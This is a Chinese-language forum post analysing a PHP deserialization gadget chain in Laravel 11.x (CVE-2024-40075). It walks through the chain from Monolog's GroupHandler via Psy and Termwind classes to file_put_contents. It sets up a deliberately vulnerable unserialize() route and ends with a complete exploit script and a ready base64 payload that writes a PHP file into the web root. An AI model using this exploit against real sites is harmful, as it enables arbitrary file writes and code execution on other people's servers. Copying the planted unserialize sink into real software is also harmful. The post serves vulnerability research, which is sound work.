Laravel v11.x PHP反序列化漏洞分析(CVE-2024-40075)
1537871692507722 发表于 广西 漏洞分析 4365浏览 · 2024-07-25 10:03

前言

Laravel 是用 PHP 编写的开源 Web 应用程序框架。由于 Monolog\Handler\Handle 类的__destruct 方法调用了 close 方法,GroupHandler 重载了并调用每个 handler 的 close 方法,反序列化恶意对象时会通过 getStreamName 方法调用对象的 __toString 方法,攻击者可利用应用中存在的反序列化逻辑,构造基于laravel 的反序列化利用链执行任意代码。

环境搭建

composer create-project laravel/laravel laravel

接着在routes\web.php文件里添加一个反序列化点

Route::get("/test", function (\Illuminate\Http\Request $request) {
    $str = $request->input("data");
    unserialize(base64_decode($str));;
});

漏洞分析

反序列化链的起点在Monolog\Handler\Handler类__destruct()下,由于该类是一个abstract 抽象类,要找到该类的实现类去实例化,最终找到的GroupHandler类

当GroupHandler对象销毁的时候,会调用到父类的__destruct()魔术方法,__destruct()下又会调用到$this->close(),由于是实例化的是GroupHandler类,所以会调用到GroupHandler类下的close()

跟进到该方法后,发现调用了$handler->close(),$this->handlers可控,该变量是一个数组类型

这里需要调用到Psy\Readline\Hoa\Stream类下的close()方法,由于Stream类是abstract 类型的,所以需要一个实现类,这里使用到的是FileRead类

$this->handlers = [new FileRead()];       // 这样就能调用到Stream下的close()

接着调用$this0->getStreamName()得到$streamName,执行到下面md5()时,如果$streamName的值是一个对象的话,就会调用到该对象下的__toString()魔术方法,这里需要令$streamName=Termwind\Components\Element类

// self::NAME的值为0,就是获取$this->_bucket数组的第一个元素
// Termwind\Components\Element是一个抽象类,Hr是它的实现类
$this->_bucket = [new Hr()]

执行到Element类的__toString()方法下,该方法调用了toString(),在该方法里需要令$this->styles=Termwind\ValueObjects\styles对象,调用该对象里的format,参数是$this->connect

跟进到styles类的format()方法下,foreach代码中$modifier的值是可控的,所以就可以调用file_put_contents来将内容写入文件,这里需要三个参数

$this->textModifiers = ["file_put_contents"];
$this->properties = ["styles"=>"<?php phpinfo();?>", "parentStyles"=>0];

完整exp如下
请求http://127.0.0.1/index.php/test?data=base64数据
执行之后会在网站public目录下生成testtesttest.php文件

<?php
namespace Termwind\ValueObjects{
    Class Styles{
        private array $textModifiers;
        private array $properties;
        public function __construct(){
            $this->textModifiers = ["file_put_contents"];
            $this->properties = ["styles"=>"<?php phpinfo();?>", "parentStyles"=>0];
        }
    }
}
namespace Termwind\Components{
    use Termwind\ValueObjects\Styles;
    abstract Class Element{
        protected string $content;
        protected Styles $styles;
        public function __construct()
        {
            $this->content = 'testtesttest.php';
            $this->styles = new Styles();
        }
    }
    Class Hr extends Element{}
}
namespace Psy\Readline\Hoa{
    use Termwind\Components\Hr;

    abstract Class Stream{
        protected $_bucket;
        public function __construct(){
            $this->_bucket = [new Hr()];
        }
    }
    Class FileRead extends Stream {}
}

namespace Monolog\Handler{
    use Psy\Readline\Hoa\FileRead;
    Class GroupHandler{
        protected array $handlers;
        public function __construct(){
            $this->handlers = [new FileRead()];
        }
    }
}

namespace {
    $obj = new Monolog\Handler\GroupHandler();
    echo base64_encode(serialize($obj));
}


/*
TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086MjU6IlBzeVxSZWFkbGluZVxIb2FcRmlsZVJlYWQiOjE6e3M6MTA6IgAqAF9idWNrZXQiO2E6MTp7aTowO086MjI6IlRlcm13aW5kXENvbXBvbmVudHNcSHIiOjI6e3M6MTA6IgAqAGNvbnRlbnQiO3M6MTY6InRlc3R0ZXN0dGVzdC5waHAiO3M6OToiACoAc3R5bGVzIjtPOjI4OiJUZXJtd2luZFxWYWx1ZU9iamVjdHNcU3R5bGVzIjoyOntzOjQzOiIAVGVybXdpbmRcVmFsdWVPYmplY3RzXFN0eWxlcwB0ZXh0TW9kaWZpZXJzIjthOjE6e2k6MDtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fXM6NDA6IgBUZXJtd2luZFxWYWx1ZU9iamVjdHNcU3R5bGVzAHByb3BlcnRpZXMiO2E6Mjp7czo2OiJzdHlsZXMiO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7czoxMjoicGFyZW50U3R5bGVzIjtpOjA7fX19fX19fQ==
*/
0 条评论
某人
表情
可输入 255

没有评论

目录